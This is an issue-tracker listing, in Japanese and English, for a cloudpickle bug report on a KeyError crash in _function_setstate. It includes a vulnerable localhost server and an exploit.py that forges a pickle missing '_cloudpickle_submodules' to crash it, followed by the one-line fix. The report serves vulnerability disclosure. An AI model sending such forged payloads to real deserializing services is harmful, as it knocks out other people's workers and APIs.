Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

Bug: unguarded dict.pop() in _function_setstate causes KeyError crash on crafted pickle (regression from c6f8cd4)

オープン 初心者向け
#593 コメント 1 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
2/5
見積もり時間
1〜3時間
初心者へのやさしさ
78/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
python
領域
security

調査の方向性

まず cloudpickle/cloudpickle.py の 1156 行付近を読み、commit c6f8cd4 で削除された防御的チェックと比較します。issue に記載された細工された pickle を再現し、_cloudpickle_submodules キーが存在しない状態でデシリアライズしても、もはや KeyError が発生しないことを確認します。

索引モデルが issue の本文から書いたものです。

説明

A crafted pickle payload that omits the key _cloudpickle_submodules from a function's slotstate triggers an unhandled KeyError in _function_setstate(), immediately crashing any process that calls pickle.loads() on it.

A CVE has been requested to MITRE for this issue.

Affected versions

cloudpickle >= 2.2.0 (regression introduced in commit c6f8cd4, October 2023)


Root cause

In commit c6f8cd4 (#517), the following defensive check was removed:

# OLD safe
if '_cloudpickle_submodules' in state:
    state.pop('_cloudpickle_submodules')

and replaced with:

# NEW vulnerable (cloudpickle.py line 1156)
slotstate.pop("_cloudpickle_submodules")  # KeyError if key is absent

Proof of concept

Server.py : 
`
import socket
import struct
import pickle
import cloudpickle
import os

HOST = "127.0.0.1"
PORT = 9999

def start_server():
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      s.bind((HOST, PORT))
      s.listen()
      print(f"Listening {HOST}:{PORT}...")
      
      while True:
          conn, addr = s.accept()
          with conn:
              try:
                  raw_msglen = conn.recv(4)
                  if not raw_msglen: continue
                  msglen = struct.unpack(">I", raw_msglen)[0]
                  
                  data = b""
                  while len(data) < msglen:
                      chunk = conn.recv(msglen - len(data))
                      if not chunk: break
                      data += chunk
                  
                  print(f"{len(data)}o from {addr}")
                  
                  task = pickle.loads(data)
                  
                  result = str(task())
                  print(f"Result : {result}")
                  
                  resp = f"OK: {result}".encode()
                  conn.sendall(struct.pack(">I", len(resp)) + resp)
                  
              except KeyError as e:
                  print(f"\nCRASH DÉTECTÉ (VULN-2) : KeyError: {e}")
                  print("Stoping server to show the DOS")
                  break
              except Exception as e:
                  print(f"[!] Error : {type(e).__name__}: {e}")
                  err_msg = f"Error: {str(e)}".encode()
                  conn.sendall(struct.pack(">I", len(err_msg)) + err_msg)

if __name__ == "__main__":
  start_server()
`

exploit.py
`
#!/usr/bin/env python3
import pickle
import socket
import struct
import sys
import os

HOST = "127.0.0.1"
PORT = 9999


def build_payload() -> bytes:
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  valid = cloudpickle.dumps(lambda: 42)
  target = b'\x8c\x17_cloudpickle_submodules\x94]\x94'

  if target not in valid:
      sys.exit("[!] Signature not found — incompatible cloudpickle version")

  modified = valid.replace(target, b'', 1)
  old_len = struct.unpack('<Q', valid[3:11])[0]
  new_len = old_len - len(target)
  return valid[:3] + struct.pack('<Q', new_len) + modified[11:]


def send(data: bytes) -> bytes | None:
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(4)
      s.connect((HOST, PORT))
      s.sendall(struct.pack(">I", len(data)) + data)
      raw = s.recv(4)
      if not raw:
          return None
      length = struct.unpack(">I", raw)[0]
      return s.recv(length)


def cmd_try():
  sys.path.insert(0, os.path.dirname(__file__))
  import cloudpickle

  print(f"[*] Connecting to {HOST}:{PORT}...")
  task = cloudpickle.dumps(lambda: "pong")

  try:
      resp = send(task)
      print(f"[+] Server is up — response: {resp.decode()}")
  except ConnectionRefusedError:
      print("[-] Connection refused — server not running")
      sys.exit(1)
  except socket.timeout:
      print("[-] Timeout — server not responding")
      sys.exit(1)


def cmd_exploit():
  payload = build_payload()
  print(f"[*] Forged payload: {len(payload)} bytes")
  print(f"[*] Key '_cloudpickle_submodules' removed from slotstate")
  print(f"[*] Sending to {HOST}:{PORT}...")

  try:
      resp = send(payload)
      print(f"[-] Server responded (not crashed): {resp}")
  except ConnectionRefusedError:
      print("[!] Connection refused — server already dead or not running")
  except (socket.timeout, ConnectionResetError):
      print("[+] No response — server crashed")
      print("[+] DoS confirmed: KeyError: '_cloudpickle_submodules'")


Usage:
python3 exploit.py try      Test the connection (sends a legit task)
python3 exploit.py exploit  Send the DoS payload
"""

Impact

Any service deserializing cloudpickle payloads is affected:
Dask, Ray, Spark, Celery workers, REST APIs accepting serialized Python objects.
A single 513-byte payload is sufficient to terminate the target process.

Fix

# cloudpickle/cloudpickle.py, line 1156
- slotstate.pop("_cloudpickle_submodules")
+ slotstate.pop("_cloudpickle_submodules", None)
主要言語
Python
スター
1.9k
フォーク
197
平均マージ
1日 10時間
マージ済み PR(30日)
1

環境構築

このプロジェクトの環境構築ファイルはまだ確認していません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

cloudpipe/cloudpickle のほかの issue

cloudpipe/cloudpickle の issue をすべて見る

似ている issue

Python の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。